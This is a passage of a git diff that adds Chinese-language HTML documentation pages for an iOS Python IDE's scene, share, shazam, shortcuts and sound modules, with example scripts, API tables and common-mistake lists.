#可运行示例

+

#精灵与 Action 动画

+

SpriteNode 的第一个位置参数是纹理名;纯色块请用关键字 color=。动画用 node.run_action(...) 启动。

+
+
+ python +
+
+
import scene
+
+
+class SpriteDemo(scene.Scene):
+    def setup(self):
+        self.background_color = "black"
+        self.box = scene.SpriteNode(
+            color="cyan",
+            size=(80, 80),
+            position=(self.size.w / 2, self.size.h / 2),
+            parent=self,
+        )
+        pulse = scene.Action.sequence([
+            scene.Action.scale_to(1.2, 0.5),
+            scene.Action.scale_to(0.8, 0.5),
+        ])
+        self.box.run_action(scene.Action.repeat_forever(pulse))
+
+
+scene.run(SpriteDemo(), show_fps=True)
+
+

#Classic 绘制(draw()

+

fillrectlinetext只能在 draw() 里调用。

+
+
+ python +
+
+
import scene
+
+
+class DrawDemo(scene.Scene):
+    def draw(self):
+        scene.background(0.05, 0.06, 0.08)
+        scene.fill(0.2, 0.6, 1.0)
+        scene.rect(40, 80, 120, 80, corner_radius=12)
+        scene.stroke(1.0, 1.0, 1.0, 0.8)
+        scene.stroke_weight(3)
+        scene.line(40, 40, 180, 120)
+        scene.fill(1, 1, 1)
+        scene.text("Draw", x=100, y=130, font_size=20)
+
+
+scene.run(DrawDemo())
+
+

#物理与碰撞

+

给节点设置 physics_body;静态地面设 dynamic = False。需要碰撞回调时重写 contact_began(contact)

+
+
+ python +
+
+
import scene
+
+
+class PhysicsDemo(scene.Scene):
+    def setup(self):
+        self.background_color = "#101820"
+        w, h = self.size.w, self.size.h
+
+        floor = scene.SpriteNode(
+            color="#444",
+            size=(w, 120),
+            position=(w / 2, 60),
+            parent=self,
+        )
+        floor_body = scene.PhysicsBody.rectangle(w=w, h=120)
+        floor_body.dynamic = False
+        floor.physics_body = floor_body
+
+        self.ball = scene.SpriteNode(
+            color="#ff8c42",
+            size=(44, 44),
+            position=(w / 2, h - 100),
+            parent=self,
+        )
+        ball_body = scene.PhysicsBody.circle(r=22)
+        ball_body.restitution = 0.65
+        self.ball.physics_body = ball_body
+
+    def touch_began(self, touch):
+        self.ball.position = (touch.location.x, touch.location.y)
+
+
+scene.run(PhysicsDemo(), show_fps=True)
+
+

#模态子场景

+

主场景 present_modal_scene,子场景 dismiss_modal_scene 关闭。

+
+
+ python +
+
+
import scene
+
+
+class SubScene(scene.Scene):
+    def setup(self):
+        self.background_color = (0.1, 0.1, 0.15, 0.92)
+        self.label = scene.LabelNode(
+            "子场景 — 点一下关闭",
+            font=("Helvetica", 20),
+            position=(self.size.w / 2, self.size.h / 2),
+            parent=self,
+        )
+
+    def touch_began(self, touch):
+        self.dismiss_modal_scene()
+
+
+class MainScene(scene.Scene):
+    def setup(self):
+        self.label = scene.LabelNode(
+            "主场景 — 点一下打开子场景",
+            font=("Helvetica", 20),
+            position=(self.size.w / 2, self.size.h / 2),
+            parent=self,
+        )
+
+    def touch_began(self, touch):
+        self.present_modal_scene(SubScene())
+
+
+scene.run(MainScene())
+
+
+

#心智模型

+
  1. 入口scene.run(SceneSubclass(), ...) 阻塞当前脚本,直到用户关闭场景视图。
  2. 初始化:在 setup() 创建节点、纹理、物理体;此时 self.size 已由运行时注入。
  3. 持续逻辑:轻量状态推进放 update();节点位移/缩放优先 Action,避免每帧新建节点。
  4. 自绘:Classic API(scene.rect 等)只放在 draw();保留式 UI 用 SpriteNode / LabelNode
  5. 触摸:实现 touch_began / touch_moved / touch_ended,用 touch.location.x/y
  6. 资源:图片、音效、控制器状态在 setup() 缓存,不要在每帧重复加载。
+

#与 appui / turtle 怎么选

+
需求首选原因
小游戏、Sprite、粒子、碰撞、触摸循环scene帧循环、节点树、Action、Physics
设置页、列表、图表、导航appui原生控件与状态管理
Pythonista 命令式 UIKit 控件ui迁移旧 ui 脚本
教材海龟、几何作图turtleAPI 更简单,无节点/物理
主屏/锁屏展示widgetWidgetKit 时间线模型
+
+

#API 参考

+

#速查

+
API作用
run(scene, *, orientation=0, frame_interval=1, ...)全屏运行场景(阻塞至关闭)
Scene场景基类:setup / update / draw / touch_*
SpriteNode / LabelNode / ShapeNode精灵、文字、矢量形状
Action.move_to / sequence / repeat_forever节点动画
PhysicsBody / PhysicsWorld碰撞与重力
background / fill / rect / textClassic 绘图(仅 draw()
get_screen_size() / get_safe_area_insets()屏幕与安全区
PORTRAIT / LANDSCAPErun() 的方向常量
+

#scene.run()

+
+
+ python +
+
+
scene.run(
+    MyScene(),
+    orientation=scene.PORTRAIT,   # DEFAULT_ORIENTATION=0, PORTRAIT=1, LANDSCAPE=2
+    frame_interval=1,             # 1≈60fps,2≈30fps
+    anti_alias=True,
+    show_fps=True,
+    multi_touch=True,
+)
+
+

IDE / MiniApp 的 Scene 模式 会在内部使用主线程回调(_mode='main');文档里直接运行上述示例即可。

+

#常用节点构造

+
+
+ python +
+
+
# 纹理精灵(texture 为资源名或 Texture)
+scene.SpriteNode("Player", position=(100, 200), parent=self)
+
+# 纯色块 — 必须用 color= 关键字,不要把颜色当第一个位置参数
+scene.SpriteNode(color="cyan", size=(60, 60), position=(x, y), parent=self)
+
+# 文字
+scene.LabelNode("Hello", font=("Helvetica", 24), position=(x, y), parent=self)
+
+# 形状
+scene.ShapeNode(fill_color="yellow", stroke_color="white", parent=self)
+
+

#Action Timing

+

Action.move_to(x, y, duration, timing_mode=scene.TIMING_LINEAR) 常用 timing:TIMING_EASE_IN_OUTTIMING_BOUNCE_OUT 等(见 API 参考)。

+

#Classic 绘图要点

+
API说明
scene.text(txt, x=0, y=0, font_name='Helvetica', font_size=16)draw() 中绘制文字
scene.rect(x, y, w, h, corner_radius=0)矩形;先 fill / stroke 再画
scene.image(name, x, y, w, h)绘制已加载图片
+

image_quadtriangle_strip 在兼容层中尚未实现,调用会抛 NotImplementedError

+

#场景属性(运行时)

+
属性说明
self.size / self.size.w / self.size.h场景尺寸(Size,支持 / 2 等向量运算)
self.dt / self.t帧间隔 / 累计时间(秒)
self.frame_count帧计数
self.physics_world物理世界,可改 gravity
self.safe_area_insets刘海/底栏安全区
+

完整签名见 scene API 索引scene API 参考

+
+

#常见错误

+
错误写法后果修正
SpriteNode("cyan", ...)"cyan" 被当成纹理名使用 SpriteNode(color="cyan", ...)
setup() 里调用 scene.rect()不显示或行为异常绘图放进 draw()
只创建 Action.move_to(...)run_action节点不动node.run_action(action)
脚本里没有 scene.run(...)场景不出现末尾调用一次 scene.run(MyScene())
update() 里做网络/大文件 I/O掉帧、卡顿放后台线程,主线程只改状态
appui.Button 做场景 HUDAPI 不存在LabelNode + 触摸,或改用 appui
表单/设置页整页用 scene难维护改用 appuiForm / List
+
+

#失败路径

+
情况处理
场景不显示确认调用了 scene.run(SceneSubclass()),且 setup() 未抛错
触摸无反应实现 touch_began 等,坐标用 touch.location
节点在 (0,0)检查 position= 是否在 setup() 里用 self.size.w/h 居中
物理不碰撞设置 physics_body,静态体 dynamic=False
关闭后文档里再运行提示忙等上一次 scene.run 完全结束,或先停止当前 Python 运行
+
+

#相关文档

+
文档用途
scene API 索引按类族快速查名称
scene API 参考生命周期、节点、Action、Physics 签名
turtle海龟教学绘图
appui原生表单与导航 UI
uiPythonista 风格 ui 控件
motion加速度计/陀螺仪(可与 scene 配合)
+

#先选写法

+
目标写法
精灵 / 物理游戏Scene 子类 + 节点树
即时画布draw() + Classic API
教程海龟turtle
+

#写 scene 的心智模型

+
  1. setup() 建节点;update() 做帧逻辑;draw() 只负责即时绘制。
  2. 动画优先 Action + run_action,不要阻塞循环。
  3. 脚本末尾只调用一次 scene.run(...)
+

#发布前检查

+
  • 触摸、暂停、关闭路径可验证
  • 精灵颜色使用 color= 关键字参数
  • 未使用 AppUI 布局 API
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/share-module/index.html b/docs/docs/pages/share-module/index.html new file mode 100644 index 0000000..ffd7395 --- /dev/null +++ b/docs/docs/pages/share-module/index.html @@ -0,0 +1,413 @@ + + + + + + share - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

share

+

系统分享面板与 AppUI ShareLink。

+
+ +
+

系统分享面板:把文本、链接或文件路径交给 iOS 分享表单(AirDrop、备忘录、邮件等)。

+
边界:无独立 import share Python 模块;通过 AppUI 的 ShareLink 唤起系统 ShareLink / 分享表单。item 需是有意义的字符串(URL、文件路径或分享正文)。复杂导出流水线可结合 file_picker 先拿到路径再分享。
+

#模块概览

+
说明
导入import appui
适合做什么分享笔记、导出 CSV/文本、转发链接
调用时机用户点击 ShareLink;内容先在 State 或函数里准备好
推荐顺序生成内容 → 写入 StateShareLink(item=...)
空内容item 为空时分享面板无有效载荷
+
+

#快速开始

+

下面脚本构建一段可分享文本,并用 ShareLink 展示分享按钮:

+
+
+ python +
+
+
import appui
+
+state = appui.State(note="来自 PythonIDE 的分享示例")
+
+
+def body():
+    return appui.VStack([
+        appui.TextEditor(text=state.note),
+        appui.ShareLink(
+            item=state.note,
+            subject="我的笔记",
+            message="请查看附件内容",
+        ),
+    ], spacing=12).padding()
+
+
+appui.run(body, state=state)
+
+
+

#AppUI 示例

+

先编辑内容,再点分享;itemState 更新。

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    title="周报摘要",
+    body="本周完成:文档重写、健康模块示例、网络请求演示。",
+    status="编辑后点分享",
+)
+
+
+def body():
+    share_text = f"{state.title}\n\n{state.body}"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("内容", [
+                appui.TextField("标题", text=state.title),
+                appui.TextEditor(text=state.body)
+                .frame(min_height=120),
+            ]),
+            appui.Section("分享", [
+                appui.ShareLink(
+                    item=share_text,
+                    subject=state.title,
+                    message="分享自 PythonIDE",
+                ),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="也可把 item 设为 https:// 链接或沙盒内文件路径。"),
+        ]).navigation_title("分享")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
参数作用
item分享主体:文本、URL 或文件路径
subject可选主题(部分目标 App 使用)
message可选附言
+ +

ShareLink(item='', subject=None, message=None)

+
+
+ python +
+
+
appui.ShareLink(
+    item="https://www.python.org",
+    subject="Python",
+    message="官方站点",
+)
+
+

分享本地文件时,item绝对路径字符串(通常来自 FileImporter 或你自己写入沙盒的文件):

+
+
+ python +
+
+
appui.ShareLink(item="/var/mobile/Containers/Data/.../export.csv")
+
+ +
组件行为
Link直接在 Safari 打开 URL
ShareLink弹出系统分享面板,可选多种目标 App
+

#动态内容

+

item 在每次 body() 求值时读取当前 State;编辑后再次点击分享即可获得最新文本。

+
+

#常见错误

+
错误写法后果修正
item=""分享面板空内容生成后再展示 ShareLink
分享未复制进沙盒的外部路径目标 App 读不到文件FileImporter(copy=True) 或自行复制
在回调里手动弹分享无对应 Python APIShareLink 组件
把敏感 token 写进 item泄露到第三方 App只分享用户确认过的内容
+
+

#相关文档

+
文档用途
file_picker导入待分享文件
clipboard复制到剪贴板(不弹分享面板)
mail结构化邮件发送
AppUI 数据参考ShareLink / Link 签名
WebView 分享示例完整导出页面样板
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/shazam-module/index.html b/docs/docs/pages/shazam-module/index.html new file mode 100644 index 0000000..347d06c --- /dev/null +++ b/docs/docs/pages/shazam-module/index.html @@ -0,0 +1,465 @@ + + + + + + shazam - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

shazam

+

听歌识曲:麦克风或音频文件匹配 Shazam 曲库。

+
+ +
+

听歌识曲(ShazamKit):通过麦克风识别正在播放的歌曲,或从本地音频片段匹配曲库。

+
边界:需要 iOS 17+,并在 Apple Developer 为 app.pythonideApp Services 中开启 ShazamKit(与 Capabilities 是两项配置)。实时识曲需要麦克风权限;recognize_file() 只需可读音频文件。与 speech_recognition(语音转文字)和 music(Apple Music 播放控制)用途不同。
+

#模块概览

+
说明
导入import shazam
适合做什么「这是什么歌」、哼唱/外放识曲、短音频片段匹配
调用时机recognize() / recognize_file() 放在按钮回调
推荐顺序is_available() → 申请麦克风(实时模式)→ recognize()
音频建议实时模式默认听 8 秒;文件模式建议 3–12 秒清晰片段
联网需要网络访问 Shazam 曲库
+
+

#快速开始

+

下面脚本检查能力并尝试识曲(需在安静环境、有音乐播放时测试):

+
+
+ python +
+
+
import shazam
+
+print("可用:", shazam.is_available())
+
+try:
+    song = shazam.recognize(duration=8)
+    print(song["title"], "-", song["artist"])
+    if song.get("apple_music_url"):
+        print("Apple Music:", song["apple_music_url"])
+except shazam.ShazamError as exc:
+    print("识曲失败:", exc, f"(code={exc.code})")
+
+

从本地短音频识曲(不需麦克风):

+
+
+ python +
+
+
import shazam
+
+try:
+    song = shazam.recognize_file("/path/to/clip.m4a")
+    print(song["title"], song.get("album", ""))
+except shazam.ShazamError as exc:
+    print(exc.code, exc)
+
+
+

#AppUI 示例

+

识曲请求放在按钮回调;进行中可显示状态,成功后展示歌名与封面链接字段。

+
+
+ python +
+
+
import appui
+import shazam
+
+state = appui.State(
+    title="—",
+    artist="—",
+    status="点击按钮开始识曲",
+    artwork_url="",
+)
+
+
+def _show_song(song):
+    state.title = song.get("title") or "—"
+    state.artist = song.get("artist") or "—"
+    state.artwork_url = song.get("artwork_url") or ""
+    state.status = "识别成功"
+
+
+def listen_now():
+    if not shazam.is_available():
+        state.status = "当前系统不支持 ShazamKit(需 iOS 17+)"
+        return
+
+    state.status = "聆听中…请播放音乐"
+
+    try:
+        song = shazam.recognize(duration=8)
+        _show_song(song)
+    except shazam.ShazamError as exc:
+        if exc.code == "denied":
+            state.status = "需要麦克风权限,请在系统设置中允许"
+        elif exc.code == "no_match":
+            state.status = "未识别到匹配歌曲,请靠近音源重试"
+        elif exc.code == "shazamkit_auth":
+            state.status = "ShazamKit 未在开发者后台开启,请配置后重装"
+        else:
+            state.status = f"识曲失败: {exc} (code={exc.code})"
+
+
+def cancel_listen():
+    shazam.cancel()
+    state.status = "已取消"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("结果", [
+                appui.LabeledContent("歌曲", value=state.title),
+                appui.LabeledContent("歌手", value=state.artist),
+                appui.Text(state.status).font("caption").foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button("开始识曲(8 秒)", action=listen_now)
+                .button_style("bordered_prominent"),
+                appui.Button("取消", action=cancel_listen, role="destructive"),
+            ], footer="需要 ShazamKit App Service、网络与麦克风;真机测试最可靠。"),
+        ]).navigation_title("听歌识曲")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
is_available()是否支持 ShazamKit 实时识曲
status()当前识别状态 {recognizing, state}
recognize(duration=8)麦克风识曲 → dict
recognize_file(path)本地音频文件识曲 → dict
cancel()取消进行中的 recognize()
ShazamError识曲失败时抛出
+

#识别结果字段

+

成功时返回字典,常见键:

+
说明
matched是否匹配成功(True
title歌曲名
artist艺术家
album专辑(可能为空)
shazam_idShazam 媒体 ID
genres风格列表
apple_music_urlApple Music 链接(有则返回)
artwork_url封面图 URL(有则返回)
isrcISRC(有则返回)
web_url / video_url其他关联链接(有则返回)
+

#实时识曲

+
+
+ python +
+
+
import shazam
+
+song = shazam.recognize(duration=10)
+print(song["title"], song["artist"])
+
+
参数说明
duration聆听秒数,自动限制在 3–20 秒
+

首次调用时系统可能弹出麦克风授权;拒绝后会抛 ShazamError(code="denied")

+

#文件识曲

+
+
+ python +
+
+
song = shazam.recognize_file("recording.m4a")
+
+

建议使用 3–12 秒、单声道/立体声均可的常见格式(m4a、wav、mp3 等)。片段太短会报 invalid_input

+

#异常

+

失败时抛出 ShazamError,可通过 exc.code 区分:

+
code含义
unavailable系统版本低于 iOS 17,或 ShazamKit 不可用
shazamkit_auth开发者后台未开启 ShazamKit App Service
denied麦克风未授权(recognize
no_match未在曲库中找到匹配
timeout聆听超时仍未匹配
cancelled调用了 cancel()
already_recognizing上一次 recognize() 尚未结束
invalid_input文件路径无效、格式不支持或音频过短
network_error网络或 Shazam 服务异常
+
+
+ python +
+
+
try:
+    shazam.recognize()
+except shazam.ShazamError as exc:
+    print(exc.code, exc)
+
+
+

#常见错误

+
错误写法后果修正
body() 里调 recognize()每次刷新都开麦/联网放进按钮回调,结果写进 State
未开 ShazamKit App Serviceshazamkit_auth在 Developer → App Services 勾选 ShazamKit 并重装
环境太吵或歌太短no_match / timeout靠近音源、延长 duration 或换更清晰的片段
用 1 秒文件去匹配invalid_input提供约 3–12 秒音频
不捕获 ShazamError异常直接打断流程try/except 并给出兜底 UI
+
+

#相关文档

+
文档用途
musicApple Music 播放与搜索
speech_recognition语音转文字(非识曲)
audio_recorder录制音频后再 recognize_file
permission查询其他权限状态
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/shortcuts-guide/index.html b/docs/docs/pages/shortcuts-guide/index.html new file mode 100644 index 0000000..c2b8e39 --- /dev/null +++ b/docs/docs/pages/shortcuts-guide/index.html @@ -0,0 +1,382 @@ + + + + + + 快捷指令 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

快捷指令

+

系统快捷指令集成、自动化和 URL 跳转。

+
+ +
+

系统快捷指令集成、自动化和 URL 跳转。

+

#预期效果

+

示例会展示系统快捷指令入口和 Python shortcuts 模块的最小调用。

+

#先选入口

+
目标推荐方式
从系统快捷指令里运行 Python 脚本使用“运行 Python 脚本”动作。
从 App 内按钮触发已有快捷指令在 AppUI 回调里调用 shortcuts.run_shortcut(...)
打开网页、深链或系统设置调用 shortcuts.open_url(...)shortcuts.open_settings()
需要表单、确认和结果展示用 AppUI 承载页面,把快捷指令能力放进按钮。
需要长期后台自动化使用系统快捷指令自动化,不把循环写进前台页面。
+

#什么时候用

+
  • 想从 Python 脚本触发一个已经存在的系统快捷指令。
  • 想打开 URL、深链或当前 App 的设置页。
  • 想把 PythonIDE 的脚本能力接入 iOS 快捷指令自动化。
+

#可用动作

+
动作用途
运行 Python 代码执行短代码片段
运行 Python 脚本执行工作区 .py 文件并传参
在应用中运行打开 App 运行需要输入或 UI 的脚本
获取脚本输出读取不等待运行后的输出
创建 Python 脚本创建 .py 文件后再运行
+

#测试代码

+
+
+ python +
+
+
print("hello")
+
+

#Python 模块示例

+
+
+ python +
+
+
import shortcuts
+
+shortcuts.run_shortcut("Daily Log")
+shortcuts.open_url("https://www.apple.com")
+shortcuts.open_settings()
+
+

#AppUI 中的推荐接法

+
+
+ python +
+
+
import appui
+import shortcuts
+
+state = appui.State(status="等待操作")
+
+
+def run_daily_log():
+    ok = shortcuts.run_shortcut("Daily Log")
+    state.status = "已触发" if ok else "未能触发"
+
+
+def open_settings():
+    shortcuts.open_settings()
+    state.status = "已打开设置"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("快捷指令", [
+                appui.Button("运行 Daily Log", action=run_daily_log),
+                appui.Button("打开设置", action=open_settings),
+            ]),
+            appui.Section("状态", [
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("快捷指令")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:页面提供两个明确按钮;触发失败不会中断页面,状态区域会显示结果。

+

#失败路径

+
情况应该怎么处理
系统入口不可用显示不可用状态,不重复触发打开动作。
用户取消或没有配置保持原页面状态,并提示需要先配置对应系统能力。
回调没有返回预期结果记录简短状态,避免把长日志或敏感内容展示给用户。
需要复杂界面appui 承载页面,把自动化能力放在按钮回调里调用。
+

#使用规则

+
  • run_shortcut(...) 需要用户设备上已经存在同名快捷指令。
  • 打开 URL 和运行快捷指令都应该由明确操作触发,不要在导入模块时自动执行。
  • 如果要做多步骤界面流程,优先用 AppUI;快捷指令适合系统自动化入口。
+

#发布前检查

+
检查项合格标准
快捷指令名称设备上已经存在同名快捷指令。
触发时机运行快捷指令和打开 URL 都由按钮、菜单或系统动作触发。
结果反馈成功、取消、未配置和不可用状态都有简短提示。
页面边界多步骤交互放在 AppUI,不把 UI 流程塞进系统动作。
+

#相关文档

+
文档用途
shortcuts运行快捷指令、打开 URL、进入设置。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/shortcuts-module/index.html b/docs/docs/pages/shortcuts-module/index.html new file mode 100644 index 0000000..fb2f620 --- /dev/null +++ b/docs/docs/pages/shortcuts-module/index.html @@ -0,0 +1,425 @@ + + + + + + shortcuts - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

shortcuts

+

运行快捷指令、打开 URL、进入设置。

+
+ +
+

系统快捷指令与外链:运行快捷指令、打开 URL、进入本 App 设置页。

+
边界run_shortcut() / open_url()离开当前 App 或跳转系统界面,必须由用户点击触发,不要在 body() 或页面加载时自动调用。run_shortcut(name) 依赖用户在「快捷指令」App 中已存在同名指令。
+

#模块概览

+
说明
导入import shortcuts
适合做什么衔接系统自动化、打开网页/Deep Link、跳转设置
调用时机按钮回调里调用
推荐顺序确认用户意图 → run_shortcut / open_url / open_settings → 更新状态
返回值三个 API 均返回 bool 表示是否成功发起
+
+

#快速开始

+

下面脚本打开网页并进入 App 设置:

+
+
+ python +
+
+
import shortcuts
+
+ok = shortcuts.open_url("https://www.apple.com")
+print("打开 URL:", ok)
+
+ok = shortcuts.open_settings()
+print("打开设置:", ok)
+
+

运行已创建的快捷指令(名称须完全一致):

+
+
+ python +
+
+
import shortcuts
+
+ok = shortcuts.run_shortcut("每日记录")
+print("已启动:", ok)
+
+
+

#AppUI 示例

+

外跳操作全部放在按钮回调;结果写回 State

+
+
+ python +
+
+
import appui
+import shortcuts
+
+state = appui.State(status="等待操作")
+
+
+def open_website():
+    ok = shortcuts.open_url("https://www.apple.com")
+    state.status = "已打开网页" if ok else "打开 URL 失败"
+
+
+def open_settings():
+    ok = shortcuts.open_settings()
+    state.status = "已打开设置" if ok else "打开设置失败"
+
+
+def run_daily_log():
+    ok = shortcuts.run_shortcut("每日记录")
+    state.status = "已启动快捷指令" if ok else "启动失败(检查名称是否存在)"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("外链", [
+                appui.Button("打开 Apple 官网", action=open_website)
+                .button_style("bordered_prominent"),
+                appui.Button("打开本 App 设置", action=open_settings),
+            ]),
+            appui.Section("快捷指令", [
+                appui.Button("运行「每日记录」", action=run_daily_log),
+                appui.Text(
+                    "需先在系统「快捷指令」App 中创建同名指令"
+                ).font("caption").foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("状态", [
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ], footer="所有外跳必须由用户点击触发。"),
+        ]).navigation_title("快捷指令")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
run_shortcut(name)按名称运行快捷指令 → bool
open_url(url)打开网页 / Deep Link / App Scheme → bool
open_settings()打开本 App 系统设置页 → bool
+

#run_shortcut

+

run_shortcut(name) -> bool

+
+
+ python +
+
+
ok = shortcuts.run_shortcut("My Workflow")
+
+

会跳转到「快捷指令」App 执行;名称不匹配时可能打开但不执行目标流程。

+

#open_url

+

open_url(url) -> bool

+
+
+ python +
+
+
shortcuts.open_url("https://example.com")
+shortcuts.open_url("mailto:support@example.com")
+shortcuts.open_url("pythonide://some-path")  # 示例 scheme
+
+

支持 https://mailto:tel: 及第三方 App 的 URL Scheme。

+

#open_settings

+

open_settings() -> bool — 打开当前 App 在 iOS 设置中的页面。

+
+

#常见错误

+
错误写法后果修正
body()open_url()页面一加载就跳走放进按钮回调
猜测快捷指令名称无法执行使用用户已有的精确名称
用 Shortcuts 做核心业务难维护、难调试优先 PythonIDE 原生模块
不告知用户将离开 App体验突兀按钮文案写清楚
+
+

#相关文档

+
文档用途
dialogsApp 内确认后再外跳
networkApp 内 HTTP 请求
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/sound-module/index.html b/docs/docs/pages/sound-module/index.html new file mode 100644 index 0000000..f27ff79 --- /dev/null +++ b/docs/docs/pages/sound-module/index.html @@ -0,0 +1,461 @@ + + + + + + sound - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

sound

+

音效播放、长音频播放器和静音开关行为。

+
+ +
+

音效与本地音频播放:短音效、长音频 Player、音量与静音开关控制。

+
边界:短反馈用 play_effect;本地长音频用 Player。远程视频/流媒体请看 avplayer;文字朗读用 speechMIDIPlayer 为兼容占位,不提供完整 MIDI 播放。
+

#模块概览

+
说明
导入import sound
适合做什么点击音效、成功/错误提示音、本地音乐/播客播放
调用时机放在按钮回调;页面关闭时停止循环音效
推荐顺序短音 play_effect → 保存 handle → 需要时 stop_effect
循环音效looping=True 时必须保存 handle,否则无法停止
+
+

#快速开始

+

下面脚本播放短音效并调节全局音量:

+
+
+ python +
+
+
import sound
+
+handle = sound.play_effect("arcade:Coin_1", volume=0.8)
+print("handle:", handle)
+
+sound.set_volume(0.8)
+print("全局音量:", sound.get_volume())
+
+if handle:
+    sound.stop_effect(handle)
+
+
+

#AppUI 示例

+

音效和音量控制放在按钮回调里,状态同步写回界面。

+
+
+ python +
+
+
import appui
+import sound
+
+state = appui.State(
+    status="未播放",
+    volume=sound.get_volume(),
+    handle=None,
+)
+
+
+def play_click():
+    handle = sound.play_effect("arcade:Coin_1", volume=state.volume)
+    state.handle = handle
+    state.status = "音效已触发" if handle else "音效不可用(检查名称或文件)"
+
+
+def play_loop():
+    if state.handle:
+        sound.stop_effect(state.handle)
+    handle = sound.play_effect("arcade:Coin_1", volume=state.volume, looping=True)
+    state.handle = handle
+    state.status = "循环播放中" if handle else "循环音效不可用"
+
+
+def stop_current():
+    if state.handle:
+        sound.stop_effect(state.handle)
+        state.handle = None
+    state.status = "已停止当前音效"
+
+
+def stop_all():
+    sound.stop_all_effects()
+    state.batch_update(handle=None, status="已停止所有音效")
+
+
+def update_volume(value):
+    state.volume = value
+    sound.set_volume(value)
+    state.status = f"全局音量 {value:.1f}"
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("音效", [
+                appui.Button("播放点击音", action=play_click)
+                .button_style("bordered_prominent"),
+                appui.Button("循环播放", action=play_loop),
+                appui.Button("停止当前", action=stop_current),
+                appui.Button("停止全部", action=stop_all, role="destructive"),
+            ]),
+            appui.Section("音量", [
+                appui.Slider(
+                    value=state.volume,
+                    minimum=0,
+                    maximum=1,
+                    step=0.1,
+                    label="全局音量",
+                    on_change=update_volume,
+                ),
+                appui.Text(state.status).foreground_color("secondaryLabel"),
+            ]),
+        ]).navigation_title("音效")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
play_effect(name, ...)播放短音效 → handle
stop_effect(handle)停止指定音效
stop_all_effects()停止全部音效
set_volume(v) / get_volume()全局主音量 0.0–1.0
set_honors_silent_switch(flag)是否遵守 iOS 静音开关
Player(path)本地长音频播放器
+

#短音效

+

play_effect(name, volume=1.0, pitch=1.0, pan=0.0, looping=False)

+
+
+ python +
+
+
handle = sound.play_effect("arcade:Coin_1", volume=0.8)
+handle = sound.play_effect("ui:click1", looping=True)
+sound.stop_effect(handle)
+sound.stop_all_effects()
+
+
参数说明
namePythonista 风格名(如 arcade:Coin_1)或文件路径
volume0.0–1.0
pitch播放速率 0.5–2.0
pan立体声 -1.0(左)到 1.0(右)
looping循环播放,需保存 handle 才能停止
+

失败时返回 None

+

#长音频 Player

+

Player(file_path) — 本地音频文件播放器:

+
+
+ python +
+
+
player = sound.Player("audio.m4a")
+player.volume = 0.8
+player.number_of_loops = 0  # 0 不循环,-1 无限循环
+player.play()
+
+print(player.playing, player.duration, player.current_time)
+player.pause()
+player.stop()
+
+
属性/方法说明
play() / pause() / stop()播放控制
playing是否正在播放
duration / current_time总时长与当前位置(秒)
volume / rate音量与速率
number_of_loops循环次数
+

#全局设置

+
+
+ python +
+
+
sound.set_volume(0.7)
+sound.set_honors_silent_switch(True)  # 遵守静音开关
+
+

set_volume 影响所有音效和 Player。

+

#选型

+
需求API
点击/成功/错误短音play_effect
停止某个循环音效stop_effect(handle)
播放本地长音频Player
远程视频/URLavplayer
文字朗读speech
+
+

#常见错误

+
错误写法后果修正
循环音效不保存 handle无法停止保存 play_effect 返回值
sound 朗读文字能力不匹配使用 speech
离开页面不停止循环音后台继续响调用 stop_effectstop_all_effects
改全局音量无 UI 反馈用户不知当前音量界面显示音量值
+
+

#相关文档

+
文档用途
avplayer远程视频/音频流
speech文字转语音
haptics触觉反馈(可配合音效)
原生能力入口MiniApp 场景配方
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/speech-module/index.html b/docs/docs/pages/speech-module/index.html new file mode 100644 index 0000000..be6c8ea --- /dev/null +++ b/docs/docs/pages/speech-module/index.html @@ -0,0 +1,468 @@ + + + + + + speech - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
